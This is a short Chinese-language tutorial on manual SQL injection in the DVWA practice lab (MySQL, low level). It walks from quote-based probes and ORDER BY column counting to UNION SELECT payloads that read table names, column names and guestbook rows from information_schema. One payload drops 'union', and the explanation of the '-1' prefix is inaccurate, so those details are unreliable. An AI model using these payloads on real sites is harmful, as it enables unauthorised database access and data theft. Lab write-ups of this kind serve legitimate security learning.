1.输入1‘或1 and 1=1或1' and '1'=2来测试网站是否存在sql注入漏洞
2.使用语句order by判断有多少列数,如’1‘ order by 2#
3.使用union select 1,2(例)来进一步获取回显位置(这里最好将union左边查询的为-1会较大值,这样,才会把显示第一位让出来)
4.在回显位输入想要查询的内容,如select database()或select version()
到这里,真实网站的测试步骤就已经完结了,因为本人是挖src的,所以步骤才会这样结束。如上内容为DVWA靶场sql注入的low级别的测试,数据库为Mysql
如下为进一步获取表,列,数据的步骤:
获取表名:
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'%23
每一部分的作用:
-
'
: 单引号用于表示一个字符串的开始和结束。 -
union
: 用于合并两个或多个 SELECT 语句的结果集。 -
select 1
: 在 UNION 语句中,表示选择一个常数值 1,用于与第二个 SELECT 语句中的结果集进行合并。 -
table_name
: 表示要查询的字段,这里是 information_schema.table 表中的 table_name 字段,用于获取表名。 -
from information_schema.tables
: 指定要查询的表为 information_schema.tables,该表存储了数据库中所有表的信息。 -
where table_schema='dvwa'
: 设定查询条件,筛选出 table_schema 为 ‘dvwa’ 的表,即数据库中属于 ‘dvwa’ 数据库的表名。
可简单总结为 查询所在列 查询所在表 查询所在行
查询表中字段名:-1’ select 1,column_name from information_schema.columns where table_name ='guestbook' and table_schema ='dvwa'%23
每一部分的作用:
-
-1’
: 在一些 SQL 数据库中,如果该语句考虑到输入时的负数值,则可能会产生问题,因此添加一个负号可以规避这些问题。-1'
表示添加负号,后接单引号表示字符串的结束。 -
select
: 指定查询操作。 -
1
: 表示选择常数值 1,用于与后续 SELECT 语句的结果进行合并。 -
column_name
: 表示要查询的字段,这里是 information_schema.columns 表中的 column_name 字段,用于获取guestbook
表的所有列名。 -
from information_schema.columns
: 指定查询的表为 information_schema.columns,该表用于存储数据库中所有表的列信息。 -
where
: 指定查询条件。 -
table_name='guestbook'
: 指定表名为guestbook
的表。 -
and
: 用于连接多个查询条件。 -
table_schema='dvwa'
: 指定表的 schema 名称为dvwa
,即限制查询的表位于dvwa
数据库中。
获取表中记录:-1' union select 1,comment from guestbook%23
到此完结,感谢观看。